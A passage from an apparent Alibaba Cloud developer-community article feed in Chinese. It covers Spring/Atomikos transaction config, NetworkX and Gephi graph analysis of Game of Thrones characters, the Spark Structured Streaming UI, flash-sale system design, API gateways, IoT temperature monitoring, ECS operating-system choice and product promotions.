            <!-- <property name="maxLifetime" value="1800000"/> -->
            <property name="testQuery">
                <value>select 1</value>
            </property>
        </bean>
    
        <!-- atomikos事务管理器 -->
        <bean id="atomikosTransactionManager" class="com.atomikos.icatch.jta.UserTransactionManager"
            init-method="init" destroy-method="close">
            <description>UserTransactionManager</description>
            <property name="forceShutdown">
                <value>true</value>
            </property>
        </bean>
    
        <bean id="atomikosUserTransaction" class="com.atomikos.icatch.jta.UserTransactionImp">
            <property name="transactionTimeout" value="300" />
        </bean>
    
        <!-- spring 事务管理器,包装了atomikos事务 -->
        <bean id="jtaTransactionManager"
            class="org.springframework.transaction.jta.JtaTransactionManager">
            <property name="transactionManager">
                <ref bean="atomikosTransactionManager" />
            </property>
            <property name="userTransaction">
                <ref bean="atomikosUserTransaction" />
            </property>
        </bean>
    
        <!-- spring 事务模板,和spring的jta事务类似功能 -->
        <bean id="transactionTemplate"
            class="org.springframework.transaction.support.TransactionTemplate">
            <property name="transactionManager">
                <ref bean="jtaTransactionManager" />
            </property>
        </bean>
    ]]>
    用 NetworkX + Gephi + Nebula Graph 分析<权力的游戏>人物关系(上篇)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 权力的游戏

    我们都知道《权利的游戏》在全世界都很多忠实的粉丝,除去你永远不知道剧情下一秒谁会挂这种意外“惊喜”,当中复杂交错的人物关系也是它火爆的原因之一,而本文介绍如何通过 NetworkX 访问开源的分布式图数据库 Nebula Graph,并借助可视化工具—— Gephi 来可视化分析《权力的游戏》中的复杂的人物图谱关系。

    数据集

    本文的数据集来源:冰与火之歌第一卷(至第五卷)[1]

    • 人物集 (点集):书中每个角色建模为一个点,点只有一个属性:姓名
    • 关系集(边集):如果两个角色在书中发生过直接或间接的交互,则有一条边;边只有一个属性:权重,权重的大小代表交互的强弱。

    这样的点集和边集构成一个图网络,这个网络存储在图数据库 Nebula Graph [2]中。

    社区划分——Girvan-Newman 算法

    我们使用 NetworkX [3] 内置的社区发现算法 Girvan-Newman 来为我们的图网络划分社区。

    以下为「社区发现算法 Girvan-Newman」解释:

    网络图中,连接较为紧密的部分可以被看成一个社区。每个社区内部节点之间有较为紧密的连接,而在两个社区间连接则较为稀疏。社区发现就是找到给定网络图所包含的一个个社区的过程。

    Girvan-Newman 算法即是一种基于介数的社区发现算法,其基本思想是根据边介数中心性(edge betweenness)从大到小的顺序不断地将边从网络中移除直到整个网络分解为各个社区。因此,Girvan-Newman 算法实际上是一种分裂方法。

    Girvan-Newman 算法的基本流程如下:
    (1)计算网络中所有边的边介数;
    (2)找到边介数最高的边并将它从网络中移除;
    (3)重复步骤 2,直到每个节点成为一个独立的社区为止,即网络中没有边存在。

    概念解释完毕,下面来实操下。

    1. 使用 Girvan-Newman 算法划分社区。NetworkX 示例代码如下
    comp = networkx.algorithms.community.girvan_newman(G)
    k = 7
    limited = itertools.takewhile(lambda c: len(c) <= k, comp)
    communities = list(limited)[-1]
    1. 为图中每个点添加一个 community 属性,该属性值记录该点所在的社区编号
    community_dict = {}
    community_num = 0
    for community in communities:
        for character in community:
            community_dict[character] = community_num
            community_num += 1
            nx.set_node_attributes(G, community_dict, 'community')

    节点样式——Betweenness Centrality 算法

    下面我们来调整下节点大小及节点上标注的角色姓名大小,我们使用 NetworkX 的 Betweenness Centrality 算法来决定节点大小及节点上标注的角色姓名的大小。

    图中各个节点的重要性可以通过节点的中心性(Centrality)来衡量。在不同的网络中往往采用了不同的中心性定义来描述网络中节点的重要性。Betweenness Centrality 根据有多少最短路径经过该节点,来判断一个节点的重要性。

    1. 计算每个节点的介数中心性的值
    betweenness_dict = nx.betweenness_centrality(G) # Run betweenness centrality
    1. 为图中每个点再添加一个 betweenness 属性
    nx.set_node_attributes(G, betweenness_dict, 'betweenness')

    边的粗细

    边的粗细直接由边的权重属性来决定。

    通过上面的处理,现在,我们的节点拥有 name、community、betweenness 三个属性,边只有一个权重 weight 属性。

    下面显示一下:

    import matplotlib.pyplot as plt
    color = 0
    color_map = ['red', 'blue', 'yellow', 'purple', 'black', 'green', 'pink']
    for community in communities:
        nx.draw(G, pos = nx.spring_layout(G, iterations=200), nodelist = community, node_size = 100, node_color = color_map[color])
        color += 1
    plt.savefig('./game.png')

    emmm,有点丑…

    NetworkX 可视化

    虽然 NetworkX 本身有不少可视化功能,但 Gephi [4] 的交互和可视化效果更好。

    接入可视化工具 Gephi

    现在将上面的 NetworkX 数据导出为 game.gephi 文件,并导入 Gephi。

    nx.write_gexf(G, 'game.gexf')

    Gephi 界面

    Gephi 可视化效果展示

    在 Gephi 中打开刚才导出的 game.gephi 文件,然后微调 Gephi 中的各项参数,就以得到一张满意的可视化:

    1. 将布局设置为 Force Atlas, 斥力强度改为为 500.0, 勾选上 由尺寸调整 选项可以尽量避免节点重叠:

    Force Atlas 为力引导布局,力引导布局方法能够产生相当优美的网络布局,并充分展现网络的整体结构及其自同构特征。力引导布局即模仿物理世界的引力和斥力,自动布局直到力平衡。

    Gephi 界面

    1. 给划分好的各个社区网络画上不同的颜色:

    在外观-节点-颜色-Partition 中选择 community(这里的 community 就是我们刚才为每个点添加的社区编号属性)

    Gephi 界面

    1. 决定节点及节点上标注的角色姓名的大小:

    在外观-节点-大小-Ranking 中选择 betweenness(这里的 betweenness 就是我们刚才为每个点添加的 betweenness 属性)

    Gephi 界面

    1. 边的粗细由边的权重属性来决定:

    在外观-边-大小-Ranking 中选择边的权重

    Gephi 界面

    1. 导出图片再加个头像效果

    权力的游戏

    权力的游戏

    大功告成,一张权力游戏的关系谱图上线 :) 每个节点可以看到对应的人物信息。

    下一篇

    本篇主要介绍如何使用 NetworkX,并通过 Gephi 做可视化展示。下一篇将介绍如何通过 NetworkX 访问图数据库 Nebula Graph 中的数据。

    本文的代码可以访问[5]。

    致谢:本文受工作 [6] 的启发

    Reference

    [1] https://www.kaggle.com/mmmarchetti/game-of-thrones-dataset
    [2] https://github.com/vesoft-inc/nebula
    [3] https://networkx.github.io/
    [4] https://gephi.org/
    [5] https://github.com/jievince/nx2gephi
    [6] https://www.lyonwj.com/2016/06/26/graph-of-thrones-neo4j-social-network-analysis/

    作者有话说:Hi,我是王杰,是图数据 Nebula Graph 研发工程师,希望本次的经验分享能给大家带来帮助,如有不当之处也希望能帮忙纠正,谢谢~

    ]]>
    Apache Spark™ 3.0中全新的Structured Streaming UI-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 作者:Genmao Yu
    原文链接:https://databricks.com/blog/2020/07/29/a-look-at-the-new-structured-streaming-ui-in-apache-spark-3-0.html

    编译:邵嘉阳,计算机科学与技术大三在读,Apache Spark 中文社区志愿者


    在Apache Spark 2.0中,我们迎来了Structured Streaming——构建分布式流处理应用的最佳平台。统一的API(SQL,Dataset和DataFrame)以及Spark内置的大量函数为开发者实现复杂的需求提供了便利,比如流的聚合,流-流连接和窗口支持。开发者们普遍喜欢通过Spark Streaming中的DStream的方式来管理他们的流,那么类似的功能什么时候能在Structured Streaming中得到实现呢?这不,在Apache Spark 3.0中,全新的Structured Streaming可视化UI和开发者们见面了。

    新的Structured Streaming UI会提供一些有用的信息和统计数据,以此来监视所有流作业,便于在开发调试过程中排除故障。同时,开发者还能够获得实时的监测数据,这能使生产流程更直观。在这个新的UI中,我们会看到两组统计数据:1)流查询作业的聚合信息;2)流查询的具体统计信息,包括输入速率(Input Rate)、处理速率(Process Rate)、输入行数(Input Rows)、批处理持续时间(Batch Duration)和操作持续时间(Operation Duration)等。

    流查询作业的聚合信息

    开发者提交的流SQL查询会被列在Structured Streaming一栏中,包括正在运行的流查询(active)和已完成的流查询(completed)。结果表则会显示流查询的一些基本信息,包括查询名称、状态、ID、运行ID、提交时间、查询持续时间、最后一批的ID以及一些聚合信息,如平均输入速率和平均处理速率。流查询有三种状态:运行(RUNNING)、结束(FINISHED)、失败(FAILED)。所有结束(FINISHED)和失败(FAILED)的查询都在已完成的流式查询表中列出。Error列显示有关失败查询的详细信息。

    1.png

    我们可以通过单击Run ID链接查看流查询的详细信息。

    详细的统计信息

    Statistics页面显示了包括输入速率、处理速率、延迟和详细的操作持续时间在内的一系列指标。通过图表,开发者能全面了解已提交的流查询的状态,并且轻松地调试查询处理中的异常情况。
    2.png
    image.png

    它包含以下指标:

    • Input Rate:数据到达的聚合速率(跨所有源)。
    • Process Rate: Spark处理数据的聚合速率(跨所有源)。
    • Batch Duration: 每一批的处理时间。
    • Operation Duration: 执行各种操作所花费的时间(以毫秒为单位)。
      被追踪的操作罗列如下:
    • addBatch:从源读取微批的输入数据、对其进行处理并将批的输出写入接收器所花费的时间。这应该会占用微批处理的大部分时间。
    • getBatch:准备逻辑查询以从源读取当前微批的输入所花费的时间。
    • getOffset:查询源是否有新的输入数据所花费的时间。
    • walCommit:将偏移量写入元数据日志。
    • queryPlanning:生成执行计划。

    需要注意的是,由于数据源的类型不同,一个查询可能不会包含以上列出的所有操作。

    使用UI解决流的性能故障

    在这一部分中,我们会看到新的UI是怎样实时、直观地显示查询执行过程中的异常情况的。我们会在每个例子中预先假设一些条件,样例查询看起来是这样的:

    import java.util.UUID
    
    val bootstrapServers = ...
    val topics = ...
    val checkpointLocation = "/tmp/temporary-" + UUID.randomUUID.toString
    
    val lines = spark
        .readStream
        .format("kafka")
        .option("kafka.bootstrap.servers", bootstrapServers)
        .option("subscribe", topics)
        .load()
        .selectExpr("CAST(value AS STRING)")
        .as[String]
    
    val wordCounts = lines.flatMap(_.split(" ")).groupBy("value").count()
    
    val query = wordCounts.writeStream
        .outputMode("complete")
        .format("console")
        .option("checkpointLocation", checkpointLocation)
        .start()

    由于处理能力不足而增加延迟

    在第一种情况下,我们希望尽快处理Apache Kafka数据。在每一批中,流作业将处理Kafka中所有可用的数据。如果处理能力不足以处理批数据,那么延迟将迅速增加。最直观的现象是Input Rows和Batch Duration会呈线性上升。Process Rate提示流作业每秒最多只能处理大约8000条记录,但是当前的输入速率是每秒大约20000条记录。产生问题的原因一目了然,那么我们可以为流作业提供更多的执行资源,或者添加足够的分区来处理与生产者匹配所需的所有消费者。
    5.png

    稳定但高延迟

    第二种情况下,延迟并没有持续增加,而是保持稳定,如下截图所示:
    image.png

    我们发现在相同的Input Rate下,Process Rate可以保持稳定。这意味着作业的处理能力足以处理输入数据。然而,每批的延迟仍然高达20秒。这里,高延迟的主要原因是每个批中有太多数据,那么我们可以通过增加这个作业的并行度来减少延迟。在为Spark任务添加了10个Kafka分区和10个内核之后,我们发现延迟大约为5秒——比20秒要好得多。

    image.png

    使用操作持续时间图进行故障排除

    操作持续时间图(Operation Duration Chart)显示了执行各种操作所花费的时间(以毫秒为单位)。这对于了解每个批处理的时间分布和故障排除非常有用。让我们以Apache Spark社区中的性能改进“Spark-30915:在查找最新批处理ID时避免读取元数据日志文件“为例。
    在某次查询中我们发现,当压缩后的元数据日志很大时,下一批要花费比其他批更多的时间来处理。

    image.png

    在进行代码审查之后,我们发现这是由对压缩日志文件的不必要读取造成的并进行了修复。新的操作持续时间图确认了我们想法:

    image.png

    未来的开发方向

    如上所示,新的Structured Streaming UI将通过提供更有用的流查询信息帮助开发者更好地监视他们的流作业。作为早期发布版本,新的UI仍在开发中,并将在未来的发布中得到改进。有几个未来可以实现的功能,包括但不限于:

    • 更多的流查询执行细节:延迟数据,水印,状态数据指标等等。
    • 在Spark历史服务器中支持Structured Streaming UI。
    • 对于不寻常的情况有更明显的提示:发生延迟等。

    近期活动:

    8月24日开始 Spark 实战训练营正式开课
    免费报名链接:https://developer.aliyun.com/learning/trainingcamp/spark/2


    入群照片.png

    ]]>
    如何设计秒杀系统?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 秒杀系统是常见的一种系统设计类型,在电商业务中的应用非常普遍。同时也是面试中问得比较多的。

    如果说程序 = 算法 +数据结构的话,那么系统 = 服务 + 数据存储。所以系统设计中,我们更多的是围绕服务和数据存储来讨论。

    举个简单例子:某年双11,商家以¥4499的价格上架了某iphone,比官网价格便宜了¥1000,库存总数10台,运营设置11/11 00:00活动生效,一人只能购买1台,商品售完为止。

    梳理下用户端的流程图:

    image.png

    根据系统设计的4S分析法:

    第一步 - Scenario场景

    需要确定设计哪些功能,承受多大的访问量?

    这里有个常见概念QPS(Query Per Second),即一秒内可以处理的请求数量。假如一个服务的RT是20ms,则QPS为50,这里计算的是单机单线程QPS,如果计算集群的话,需要考虑集群数量和线程数量。

    这时候需要确认秒杀商品的请求QPS是多少。如果面试官说峰值大概量级在100万,那么按照服务单线程QPS是50,单台最大线程数按3来计算的话,单台机器最大支撑150的QPS,那么至少需要100W/150=6667台机器。

    常见的组件最大QPS,mysql单机1000QPS,Redis单机10万QPS。

    第二步 - Service服务

    秒杀系统服务设计大致如下:

    image.png

    第三步 - Storage存储

    数据是如何存储和访问的。为每个服务选择合适的存储结构,然后细化数据表结构。这个例子中,秒杀系统数据库设计如下:

    image.png

    于是我们可以得到秒杀活动中,数据库之间的关系如图所示:

    image.png

    接下来就是mysql扣库存了。秒杀系统一定会遇到的就是并发问题,这里说下乐观锁和悲观锁。
    悲观锁的流程:

    image.png

    乐观锁流程:

    image.png

    可以看到悲观锁的问题是会占用大量的线程资源,可能导致mysql的线程耗尽。在对于数据一致性要求非常高的场景中,一般用悲观锁;而乐观锁在version变动频繁的情况下则不适用,比如这里的秒杀系统就不太适合用乐观锁,因为库存变化太快了

    推荐免费体验九章的《系统架构设计》,在免费试听章节里,还讲到了Redis下的秒杀系统数据库设计。

    image.png

    几个关于Redis的常见问题:

    什么时候把库存写入到Redis?
    秒杀活动创建/维护时写入Redis。

    如何保证活动数据库和库存数据一致?
    可以使用分布式事务或消息队列。

    分布式事务:保证多个数据库的操作同时成功或者同时失败。对强一致性有要求的业务场景可以考虑使用分布式事务,比如银行转账

    image.png

    消息队列:基于生产者/消费者模型的组件,一般实现异步任务(非实时处理)时会引入消息队列。消息队列的好处是任务可以慢慢处理,不必同步处理等着响应结果。目前主流的消息队列有RocketMQ、Kafka等。使用场景除了异步任务之外,一般还用于失败的情况下重试处理,重复消费直到消费成功。

    image.png

    下单减库存/支付减库存?
    下单锁定库存,支付减库存。

    如何防止商品被超卖?
    把库存数据放入到缓存中,利用缓存的原子特性保证同时只有一个线程操作库存。

    库存写回数据库的时机?
    采用定时任务同步Redis的数据写回数据库。

    4S分析法的第四步 - Scale扩展

    对于秒杀系统来说,就是高并发场景下如何优化系统。推荐大家通过完整视频了解如何进行系统优化和升级。

    前面说过,秒杀系统是电商业务中最常见的,在实际面试当中,系统架构设计的考察标准是:面试者独立设计一个大型的系统,它在现实中是可work的,同时在高并发的情况下仍具有高可用性。

    对许多缺少工作经验的应届生,以及大量没机会参与大型系统设计、日常都在“拧螺丝”的初级程序员来说,明明不具备架构的能力但面试的时候又经常遇到,拿到设计类题目就懵了!

    九章的《系统架构设计》覆盖了18大系统架构设计知识点和面试题。通过大量调研,囊括了最热门、高频的18大设计类题型包括了:

    • 秒杀/订票系统
    • IM系统
    • 协同文档编辑系统
    • 谷歌搜索系统
    • 用户登陆/注册系统
    • 网站系统(API设计/短URL)
    • 数据库
    • 容器技术(K8S/Docker)
    • MLE机器学习系统
      ……

    想要尝试自己设计一个秒杀系统,或者对国内热门的系统设计感兴趣的同学们,不妨来试听一下,好的学习方式永远是自己动手实现。

    ]]>
    微服务技术栈:API网关中心,落地实现方案-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 一、服务网关简介

    1、外观模式

    客户端与各个业务子系统的通信必须通过一个统一的外观对象进行,外观模式提供一个高层次的接口,使得子系统更易于使用:

    03-1.png

    简单说一下外观模式,网关和这个模式很像,但是比外观模式复杂,模式,结构,原则这些都是通用的,在各种架构或组件中使用。

    2、网关简介

    微服务网关从感觉上,很像是:拦截器+路由+过滤器,拦截请求,系列基础处理,路由转发到指定服务。

    服务网关在整个架构体系上也是一个服务器,作为请求的唯一入口,与外观模式十分类似,在网关层处理所有的非业务功能,为客户端提供定制的API,在网关层通常会执行如下操作:如权限校验、监控、负载均衡、缓存、日志、限流、等等。

    二、网关模式

    1、模式对比

    这里对比常用的请求服务管理模式,和网关模式,如图:

    03-2.png

    常规模式

    在没有网关的情况下,微服务架构会在业务层服务上提供一个API服务,用来接收参数,例如Client-API,通常会根据系统模块划分多个API,例如,运营系统,用户系统等。

    • 请求统一进入Client-API服务 ;
    • Client-API经过鉴权,限流,路由等操作;
    • 如果请求通过,会转发到相应业务服务上;
    • 如果请求被拦截,会直接返回给客户端;
    • Client-API集成所有业务服务的开放接口;

    该模式下的缺点非常明显,每个Client-API都需要实现一套非业务服务,代码冗余,当系统膨胀之后,维护成本极高,适用于轻量级系统架构。

    网关模式

    在业务服务层上,添加一层网关控制,在服务网关中可以完成一系列的横切非业务功能:

    • 客户端请求在网关层做统一拦截;
    • 网关上执行:路由/鉴权/限流/降级等操作;
    • 网关判断是转发请求还是直接响应客户端;

    网关服务层要执行很多非业务流程,作为系统的服务端唯一入口,承受所有服务的路由转发,安全,限流,缓存,日志,监控,熔断降级等功能,网关服务不仅要做到高可用,还要避免出现性能瓶颈。

    2、多重网关

    在大型复杂的系统中,通常会对网关做分层管理,把一类业务规划到一个网关下,避免网关过于臃肿,方便维护和管理:

    03-3.png

    总网关:通用常用来做路由转发功能;

    模块网关:分类的业务服务聚合网关,对这类服务的做非业务性操作,最后请求转发到具体服务上,在数据类平台上,通常对数据通道(流入流出)做一层独立的服务网关;对数据分析类服务做一层独立网关;基本是根据服务的使用情况来划分,这样避免单层服务网关过于复杂的情况。

    三、核心功能

    1、配置层面

    服务发现

    网关应该有服务发现功能,通过统一注册中心,获取服务列表,这样才能执行统一代理服务和路由转发功能。

    路由请求

    植入网关层服务之后,客户端不知道自己请求的是哪个具体的服务,只需要把请求转发给网关,网关放行之后会把请求路由到指定业务服务上。

    负载均衡

    网关连接的服务实例可能是集群模式存在,所以网关还可以对各个服务实例上执行负载均衡策略,常见的策略就是服务轮询或者按权重路由。

    2、定制开发

    定制开发例如:权限校验,日志集成,接口限流,等相关功能,需要和数据库交互,可以做成独立服务,在服务中实现具体的处理逻辑,网关层直接调用即可。

    四、网关组件

    1、Netflix-Zuul

    Zuul网关主要提供动态路由,监控,弹性,安全管控等功能。在分布式的微服务系统中,系统被拆为了多个微服务模块,通过zuul网关对用户的请求进行路由,转发到具体的后微服务模块中,Netflix开源的一个基于JVM路由和服务端的负载均衡器。

    2、Tyk组件

    Tyk是一个开源的、轻量级的、快速可伸缩的API网关,支持配额和速度限制,支持认证和数据分析,支持多用户多组织。基于go语言编写,在Java架构系统中使用很少。

    3、Kong组件

    Kong是一款基于Nginx+Lua编写的高可用,可扩展的开源网关项目,由Mashape公司开放。核心是实现数据库抽象,路由和插件管理,插件可以存在于单独的代码库中,并且可以在几行代码中注入到请求生命周期的任何位置。提供易于使用的RESTfulAPI来操作和配置API管理,并且可以水平扩展多个Kong服务器,通过前置的负载均衡配置把请求均匀地分发到各个Server,来应对高并发的网络请求。

    ]]>
    基于 IoT+TSDB+Quick BI 云产品架构的楼宇环境监控实战-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 今天给大家带来基于阿里云 IoT 物联网平台 + TSDB 时序时空数据库 + Quick BI 报表三大云产品组合实现楼宇环境监控端到端开发实战。


    少啰嗦,先看效果。
    image.png
    部署后效果


       0.技术架构   


    本次 IoT 物联网开发实战我们在室内部署 4 个温湿度传感器,实时采集数据,每10秒发送到阿里云 IoT 物联网平台,通过规则引擎写入 TSDB时序数据库。在Quick BI 工作台,创建数据报表以分钟维度展示室内温湿度变化曲线。

    技术架构如下:
    image.png


       1.物联网平台开发   


    1.1.免费开通阿里云 IoT物联网云服务:
    https://www.aliyun.com/product/iot-deviceconnect
    />



    1.2.创建产品室内温湿度计器,选择自定义品类,直连设备,定义物模型,包含2个属性温度,湿度:
    image.png


    1.3.注册设备,获取身份三元组。


    image.png


    1.4.配置规则引擎,实时流转数据到 TSDB中
    image.png


    1.5.完成设备端开发,实时上报温湿度数据。
    我们以Node.js脚本来模拟设备上报,代码如下:

    // 依赖mqtt库
    const mqtt = require('aliyun-iot-mqtt');
    // 设备身份
    var options = {
        productKey: "device productKey",
        deviceName: "device deviceName",
        deviceSecret: "device deviceSecret",
        regionId: "cn-shanghai"
    };
    
    // 建立连接
    const client = mqtt.getAliyunIotMqttClient(options);
    
    //模拟 设备 上报数据(原始报文)
    setInterval(function() {
        client.publish(
            `/sys/${options.productKey}/${options.deviceName}/thing/event/property/post`
            , getPostData()
            );
    
    }, 10 * 1000);
    
    // 模拟 温湿度
    function getPostData() {
    
        const payload = {
            id: Date.now(),
            version:"1.0",
            params: {
                temperature: 10+Math.floor(Math.random() * Math.floor(50)),
                humidity: 10+Math.floor(Math.random() * Math.floor(50))
            },
            method: "thing.event.property.post"
        }
    
        console.log("payload=[ " + payload + " ]")
        return JSON.stringify(payload);
    }

       2.TSDB数据库   


    2.1.创建时序数据库,并开通公网 TSQL 连接串
    image.png


    2.2.IoT设备数据写入TSDB的记录
    image.png


       3.Quick BI   


    3.1.开通Quick BI服务,添加数据源,输入TSDB连接参数。
    image.png
    数据源添加成功
    image.png


    3.2.基于数据源的温度和湿度指标,创建数据集。
    image.png


    3.3.创建数据仪表板,并根据业务需求编辑图表。
    image.png


    3.4.发布仪表板。
    image.png


    3.5.在浏览器中查看楼宇环境监控报表。
    image.png
     
    【往期回顾】
    1、39张IoT传感器工作原理GIF图汇总
    2、IoT 设备发送 MQTT 请求的曲折经历
    3、20元体 Arduino 环境监测仪开发
    4、智能手持测温枪开发实践
    5、JMeter 压测 MQTT 服务性能实战


    ]]>
    新手如何选择阿里云操作系统?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 随着网站服务器技术的发展,越来越多的站长建站首先选择云服务器。时下阿里云云服务器ECS脱颖而出,成为多数站长网站服务器的首选。那么对于刚刚接触云服务器的站长来说,如何选择适合网站的阿里云云服务器ECS操作系统,阿里云云服务器ECS的操作系统有什么区别,阿里云linux服务器和windows服务器有何不同呢。

    前提:若后期有需求购买阿里云任何产品的朋友,可以提前领取优惠劵。后期可为大家减少成本:点击领取阿里云优惠劵

    阿里云个人购买+阿里云企业购买

    首先,我们要清楚的便是每个系统之间的差别,以及在阿里云上的差别:

    1.Windows

    1.1)系统内含正版激活。

    1.2)适合于运行Windows下开发的程序,如.net等。

    1.3)支持SQLServer等数据库(需自行安装)。

    1.4)可以使用远程桌面方式登录进行管理。

    注:512内存不支持选择Windows系统,1G以上内存才能很好支持该系统。

    2.Linux

    2.1.1)最流行的服务器端操作系统,强大的安全性和稳定性。

    2.1.2)免费且开源,轻松建立和编译源代码。

    2.1.3)通过SSH方式远程访问您的云服务器。

    2.1.4)一般用于高性能web等服务器应用,支持常见的PHP/Python等编程语言,支持MySQL等数据库(需自行安装)。

    2.2CentOS(推荐)请使用yum方式在线安装软件。

    2.3Ubuntu请使用aptitude方式在线安装软件。

    2.4Debian请使用apt-get方式在线安装软件。

    2.5AliyunLinux(兼容RedHat)请使用yum方式在线安装软件,yum源需要自行购买redhat的商业支持。

    操作系统更换规则:

    1.更换操作系统

    更换系统之前请先停止云服务器,云服务器更换操作系统会直接重置系统盘【IP不变】,系统盘数据将会丢失!

    请您注意:

    1.1.更换操作系统会使云服务器的系统盘更换为新的镜像,原有系统盘的数据都会丢失。

    1.2.云服务器数据盘的数据不会受到影响。

    1.3.建议您将系统盘的个人数据备份到数据盘中,或采用其他方式进行备份。

    1.4.因您没有备份系统盘相关个人数据而造成的数据丢失,阿里云不承担责任。

    1.5.内存为512M云服务器不支持更换Windows操作系统。

    2.CPU/内存与操作系统的选择

    2.1)如需选择/变更4G以上内存请您选择64位操作系统(32位操作系统存在寻址限制)。

    2.2)如您选择32位操作系统,4G以上内存页面暂不展示,只有云服务器更换为64位操作系统才可展示。

    2.3)Windows32位操作系统支持最高CPU为4核。

    2.4)配置:[CPU:1核;内存:512M]的云服务器不支持选择/更换Windows操作系统。

    Windows篇

    阿里云提供了6种window系统,涵盖了Server2003sp2以及Server2008R2这两大类操作系统。

    其中又分为了32位和64位

    (1)如何选择32位还是64位

    32位系统相比64位系统,最主要的限制体现在内存的大小上。因为32位本身的限制,其最大只可支持到4GB内存,如果您的网站要使用高于4GB的内存或者以后有扩充内存寻到4GB以上的打算,请使用64位操作系统。

    (2)选择2003还是选择2008

    对于windows来说,我个人建议是选择版本越高的越好。相对来说新版本漏洞相对来说更少,而且IIS7.5相对于IIS6提供了更多的功能以及更方便的控制台。但是考虑到大家的机器配置不同,在此给出一下几种选择:

    A:配置低于双核2GB内存:选择server2003不装数据库配置双核4GB:server2003mssql或者server2008R2不带数据库

    B:配置高于双核8GB:serever2008R2mssql建议如果大家要在云服务器上跑数据库,尽量选择大内存配置,或者降低配置去选用RDS

    (3)中英文、安全加固版如何选择

    这个就依据大家各自的喜好来了,在此不多说了至于Windows服务器配置教程,因为网上教程很多而且相对于Linux来说Windows配置难度更低,所以Windows的配置教程会比较晚的放出。

    Linux篇

    (1)这些linux大类有什么区别

    Debian:用的deb包,使用APT包管理系统。

    同时Debian提供了大多数软件比较新的版本,并且提供了更多的软件包(相对于原版RedHat)。Debian的优点在于更新迅速,软件包完善(Ubuntu尤其),操作便利。缺点是部分时候稳定性欠佳,跟进最新软件有可能存在Bug。

    Centos:用rpm包,使用yum包管理系统。

    相对于Debian来说,Centost的一大特点就是慢。大部分软件停留在稳定版本,而且相距最新版版本也差较多。而且某些新版软件的一些新特性支持也比较慢,比如php-fpm。

    因为Centos是面向企业用户提供的操作系统,所以在稳定性上十分突出,一般在新功能或稳定性的选择上更倾向于后者。只有当某个功能完全确定稳定了,才会加入到系统里。优点是系统稳定,技术文档完善,如果付费的话能得到企业级别的技术支持。缺点是软件包比较老旧,而且一些较新功能会欠缺。

    总结一下:如果你喜欢尝鲜,喜欢用最新的功能或喜欢折腾系统,那么Debian是个更好的选择。
    上手难度Ubunt

    (2)Debian与Ubuntu的选择

    Ubuntu是基于Debian所开发,可以简单地认为Ubuntu是Debian的功能加强版。

    与Debian相比,Ubuntu提供了更人性化系统配置,更强大的系统操作以及比Debian更激进的软件更新。

    Ubuntu与Debian比较,可以认为Debian更趋向于保守一些,Ubuntu对新手友好度更高,上手更容易。

    用过Ubuntu的都会体会到它的易用,反之如果用过Ubuntu再换到别的系统,都会觉得不适应,Ubuntu真的很方便。

    个人建议,如果你打算选择Debian类的,建议选择Ubuntu。

    Ubuntu提供了更好的操作,更激进的软件更新,更方便管理软件以及相差无几的稳定性。

    如果你不想放弃稳定'那么请选择Debian。

    关于Ubuntu版本选择:

    在此解释下Ubuntu的版本支持时间。Ubuntu普通版本只提供18个月的技术支持,过期则不管。

    服务器版本提供长达五年的技术支持。所以建议大家选择12.04版,提供长达5年的技术支持,可以确保在静候相当长的一段时间内你的服务器可以继续收到系统升级补丁以及可用的软件源。

    (3)Centos的选择

    对于阿里云Centos的选择,建议选择Centos6.5版本,带来了更多的新特性以及更多的新功能。

    除非你的软件需要php5.1的环境,那么就选择Centos6.5。如果网站需要支持php5.1,只能选用Centos5.8。

    至于具体版本选择,建议php5.1用户选择Centos5.8,其他的用户则为Centos6.5。
    最后的最后提醒大家一定要领取价值2000优惠劵

    ]]>
    2020年阿里云热门活动全攻略-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 口碑爆款,低至0.9折

    千万用户的口碑之选,热门云产品鼎力推荐,跟着买就对了查看更多

    精选爆款弹性计算云数据库网络存储CDN云安全企业应用更多产品

    ECS计算型 c5企业新用户销量之王!适用Web服务器、广告、游戏等企业通用业务场景2核4G1年1~10M可选带宽40-100G可选云盘年中促限购3台低至2.6折¥699.84/年起¥1892.16/年加入购物车立即购买 ECS计算型c6CPU与内存配比1:2 最新代企业级产品,性能全面升级2核4G1M带宽40G高效云盘年中促限购5台河源1年7折¥1948.20/年起¥739.80/年加入购物车立即购买 ECS突发性能 t5新用户20%性能基线,性价比之王!个人开发者建站必备1核2G1年1~5M可选带宽40G高效云盘年中促限购3台低至0.9折¥91.80/年起¥928.20/年加入购物车立即购买 ECS通用型g6CPU与内存配比1:4 最新代企业级产品,性能全面提升2核8G1M带宽40G高效云盘年中促限购5台河源1年7折¥2393.40/年起¥930.60/年加入购物车立即购买
    云数据库MySQL新用户全球最受欢迎的开源数据库之一 高安全等级,高稳定,5倍性能提升基础版:1核2GAliSQL源码优化性能相比开源提升5倍多系列规格,满足多负载和可用性需求年中促半年6折限1次限1台¥583.20/6月起¥388.80/6月加入购物车立即购买 云数据库SQL Server新用户微软SQL Server 企业版授权许可 主实例故障后自动切换至镜像实例Web版:4核8G自动监控巡警,定期性能巡检随时进行备份,秒级数据恢复功能年中促半年6折限1次限1台¥2484.00/6月起¥1656.00/6月加入购物车立即购买 轻量应用服务器一键上云,可视化面板 适用于个人用户建站或企业网站搭建1核1G,SSD 40GB10Mbps最高峰值带宽2000GB最高免费流量年中促个人必选¥612.00/年起¥108.00/年加入购物车立即购买 弹性公网IP独立公网IP, 可随时绑定与解绑5Mbps带宽独立公网带宽随时绑定与解绑即开即用, 变更配置实时生效年中促年付低至8折¥1245.00/年起¥255.00/年加入购物车立即购买查看更多商品

    弹性计算

    云数据库

    网络存储CDN

    云安全

    企业应用

    更多产品

    为你推荐-上云必备

    基于您的业务场景,为您推荐解决方案及产品组合,帮助您一站式解决上云问题

    电商专区企业初创服务数字新基建业务安全企业应用音视频专区

